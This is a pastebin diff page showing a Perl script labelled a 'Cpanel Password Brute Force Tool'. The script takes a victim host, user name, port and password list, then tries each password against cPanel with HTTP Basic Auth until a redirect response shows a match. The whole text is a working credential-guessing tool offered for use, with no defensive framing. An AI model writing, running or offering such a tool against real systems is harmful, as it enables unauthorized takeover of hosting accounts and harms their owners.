View difference between Paste ID: e3YHQyY9 and AYC4fa5r
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/perl
2
3
use IO::Socket;
4
use LWP::Simple;
5
use MIME::Base64;
6
7
$host     = $ARGV[0];
8
$user     = $ARGV[1];
9
$port     = $ARGV[2];
10
$list     = $ARGV[3];
11
$file     = $ARGV[4];
12
$url = "http://".$host.":".$port;
13
if(@ARGV < 3){
14
print q(
15
###############################################################
16
#               Cpanel Password Brute Force Tool              #
17
###############################################################
18
#     usage : cpanel.pl [HOST] [User] [PORT][list] [File]    #
19
#-------------------------------------------------------------#
20
#    [Host] : victim Host             (simorgh-ev.com)        #
21
#    [User] : User Name               (demo)                  #
22
#    [PORT] : Port of Cpanel          (2082)                  #
23
#[list] : File Of password list   (list.txt)              #
24
#    [File] : file for save password  (password.txt)          #
25
#                                                             #
26
###############################################################
27
#            (c)oded By Hessam-x / simorgh-ev.com             #
28
###############################################################
29
);exit;}
30
31
headx();
32
33
$numstart  = "-1";
34
35
sub headx() {
36
print q(
37
###############################################################
38
#              Cpanel Password Brute Force Tool               #
39
#                            CTA                              #
40
###############################################################
41
);
42
open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
43
@PASSWORDS = <PASSFILE>;
44
close PASSFILE;
45
foreach my $P (@PASSWORDS) {
46
chomp $P;
47
$passwd = $P;
48
print "
49
[~] Try Password : $passwd
50
";
51
&brut;
52
};
53
}
54
sub brut() {
55
$authx = encode_base64($user.":".$passwd);
56
print $authx;
57
my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "
58
[-] Can not connect to the host";
59
print $sock "GET / HTTP/1.1
60
";
61
print $sock "Authorization: Basic $authx
62
";
63
print $sock "Connection: Close
64
65
";
66
read  $sock, $answer, 128;
67
close($sock);
68
69
if ($answer =~ /Moved/) {
70
print "
71
[~] PASSWORD FOUND : $passwd
72
";
73
exit();
74
}
75
}